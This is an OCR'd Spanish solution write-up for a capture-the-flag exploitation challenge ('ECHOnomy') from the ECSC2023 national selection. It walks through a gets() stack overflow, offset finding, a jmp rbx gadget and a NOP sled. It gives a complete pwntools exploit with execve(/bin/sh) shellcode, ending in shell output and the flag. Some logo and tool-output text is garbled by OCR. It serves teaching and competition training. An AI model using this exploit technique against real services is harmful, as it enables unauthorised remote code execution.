| digital ¢

Competicion:
Seleccidén nacional ECSC2023

Solucionario reto 12

Financiado por Tt Plan de PO -b
la Unién Europea ﬁ'& DEEARA  MINSTERD Iffféﬁ#i’ﬂ:ﬁ%':? Recuperacion, L] I I—I c I E —

NextGenerationEU

DE ASUNTOS ECONOMICOS Transformacién
Y TRANSFORMACION DIGITAL ‘ y Resiliencia INSTITUTO NACIONAL DE CIBERSEGURIDAD



20 .
Financlado per D T Plan de * N
Ia Unién Europea &ﬁg e — Rasner Recuperacion, diaital 22_] $incibe_
NextGenerationEU FTAAMFORMACION DIGAL W ¥ Resllloncia I lgl a INSTITUTO NACIONAL DE CIBERSEGURIDAD

INDICE

1. CARACTERTSTICAS DE LA COMPETICION ....oooiiieeeee e, 3
2. INFORMACION DE RETO .. ueeoeee ettt e et e e e et e e e e aeiieee e 4
3. SOLUCION RETO 22 ettt e, 5

Competicion: Seleccion nacional ECSC2023 — Reto 12 Péagina 2 de 9



sincibe_

20
la Unién Eu a TAUZACKIN P 26
rope Deeie  mwsTmO o SSeEAD Transtormacion | diaital
¥ TRANSFORMACION DIGITAL ‘ ¥ Reslilencla INSTITUTO NACIONAL DE CIBERSEGURIDAD

Financlado por e Plan de
po m ‘GOBIERNO e mnil’m':u Recuperaclén,
NextGenerationEU

1. CARACTERISTICAS DE LA COMPETICION

La competicion "Seleccion nacional para los ECSC2023” tuvo lugar el 10 de junio de
2023 de forma online.
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Informacién general

m Identificador: Reto 12
m Categoria: Explotacion
B Puntuacién: 300

m Dificultad: Alta

® Tipo: Virtualizado

Conocimientos y habilidades

®  MITRE: Exploit Public-Facing Application (T1190)
® NICE: Knowledge of application vulnerabilities (KO009) / Skill in assessing the
robustness of security systems and designs (S0009), Skill in conducting application

vulnerability assessments (S0137)

® ENISA: Testing / Application Development / Application Design
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3. SOLUCION RETO 12

Enunciado

Hemos desplegado nuestro nuevo servidor “ECHOnomy” donde simplemente se devuelven
los datos que se reciben. ¢ Podras acceder al sistema?

Formato: alfanumérico

Pistas

1. Lafuncion gets es una funcion insegura.

2. Observa los permisos del binario, parece que el stack tiene permisos de
ejecucion.

3. ¢Qué registros almacenan direcciones del stack? ¢ Puedes encontrar alguna
instruccién “ymp” en el programa que te permita saltar a una direccion del stack?
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Solucién

Primero comprobamos con “checksec” las protecciones del binario.

echonomy

amde4-64-1ittle

Partial RELRO

llustracion 1: Protecciones del binario

Como se puede ver, el binario no tiene el bit NX habilitado. En consecuencia, las
direcciones de memoria del stack tendran permisos de ejecucién y por lo tanto, si
conseguimos almacenar un shellcode en el stack y alterar el flujo del programa para
gue salte asu direccién y lo ejecute, podremos ejecutar lo que hayamos almacenado
y acceder al equipo de manera remota.

A continuacién, observamos el codigo del ejecutable haciendo uso de la herramienta
ghidra.

s Decompile: main - (retold)
1
2 |lindefineds main(void)

I

{

©n

char Tocal 48 [64];

setbuf (stdout, (char *)0x0);

2| puts("Welcome to the ECHO server!“n");
o puts("Introduce your string: ");

10 | gets(local_48);

11| printf{"ss",local_48);

12 return O;

14

llustracion 2: Reversing mediante la herramienta ghidra

Se puede ver que el binario hace uso de la funcion “gets” para leer datos. Esta funciéon no
hace comprobaciones de seguridad para asegurarse que no se sobrescribe memoria mas
alla del buffer indicado, por lo que es vulnerable a desbordamiento de bufer.

Haciendo uso de GDB con la extension gef (https://github.com/hugsy/gef), buscamos el
offset con el que sobrescribiremos el registro “RIP” y aprovecharemos para identificar si
algun registro contiene una direccion del stack al final de la ejecucion del main para
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posteriormente, comprobar si existe alguna funcién “jmp” que nos permita saltar a ese
registro y por lo tanto, al propio stack.

Utilizaremos las 6rdenes o comandos en gef, “pattern create” y “pattern offset”, para
conocer la distancia u offset: 88.

pattern create 200
Generating a pattern of 200 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaacaaasaaafanaaaaagaanaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoa
aaawaaaaaaaxaaaaaaayaaaaaaa
[+] saved as "$_gef1’

r

Starting program: /home/eljoselillo7/Retos/retol4/disefio/docker/files/echonomy
[*] Failed to find objfile or not a valid file format: [Errno 2] No existe el fichero o el directorio: 'system-sup|
Welcome to the ECHO server!

Introduce your string:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaacaaaaaaafaaaaaaagaaanaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoa
aaawaaaaaaaxaaaaaaayaaaaaaafl

llustracion 3: Creacién y envio de pattern

Cuando el programa se ejecuta, provoca el desbordamiento. Copiamos los primeros
valores del stack que seran los que se cargaran al registro RIP al ejecutar la instruccion

“ 1]

ret”.

VB 'HEN | caaaaaamaaaaaaanaaaaaasl)

+0x0008: "n
+0x0010:
+0x0018:
+0=0020:
+0x0028:
+0x0030: "
+0x0038: "

0x4017ab <main+101> ret
Cannot disassemble from $PC

[#6] Id 1, Name: "echonomy", in main (),

[#0] 0x4017ab » main()

gef» pattern offset laaaaaaamaaaaaaanaaaaaa
Searching for 'laaaaaaamaaaaaaanaaaaaa’
[+] Found at offset 88 (big-endian search)

llustracion 4: Calculo del offset

La distancia mencionada es 88 y observamos que al finalizar la ejecucion del “main”, el
registro $rbx tiene una direccién del stack.
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+ "COLORFGBG=15;0"

llustracion 5: Registro rbx con direccion del stack

Mediante el comando “vmmap” obtenemos las direcciones asociadas al stack y
comprobamos que la direccion de $rbx estd asociada al stack.

llustracion 6: Rango de direcciones del stack

A continuacion, buscamos en el binario una instruccion “jmp rbx” la cual nos permitira saltar
a la direccion del registro $rbx. Para ello, utilizamos la herramienta ROPgadget.

ROPgadge echonomy| grep

0x0000000000407c90 :

llustracion 7: Busqueda instruccion "jmp rbx"

Finalmente calculamos la diferencia entre la direccién que habiamos encontrado en $rbx y
la direccion del principio del stack al acabar la funcion “main”. Esto nos servira para saber
cuantos “nop” poner en nuestro payload para que el programa salte a nuestro shellcode.

gef» x/x O0xQQ07fffffffdf38-0x007fffffffdd8s

Cannot access memory at address 0x1b0

llustracion 8: Célculo diferencia de direccion de salto y stack

Obtenemos la diferencia desde la direccion que cargamos hasta llegar al registro rip y el
salto es el valor “Ox1b0” que convertido a decimal es 432. En nuestro payload vamos a
rellenar con 450 instrucciones “nop” para asegurar su funcionamiento.

Utilizando un shellcode que ejecuta “execve(/bin/sh)”, el programa final quedaria de la
siguiente forma:

from pwn import *

#p = process("./echonomy")

p = remote("127.0.0.1", "9339")

payload = b""
payload += b"A"*88 + p64(0x0000000000407c90) # jmp rbx
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payload += b"\x90" * 450 # add nop instructions in order that rbx
points to our shellcode

payload +=
b"\x48\x31\xF6\x56\x48\xbf\x2F\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5F
\x6a\x3b\x58\x99\x0f\x05" # execve(/bin/sh) shellcode

p.recv()
p.sendline(payload)

p.interactive()

Lo ejecutamos y obtenemos la flag.

solver.py
connection to 127.0.0.1 on port 9339: Done
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANX90 |9 id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
1s

echonomy
flag.txt
ynetd
cat flag.txt
flag{eCh@_EcHo_eCHO_3ch@nOMy}

llustracion 9: Ejecucién de solver.py
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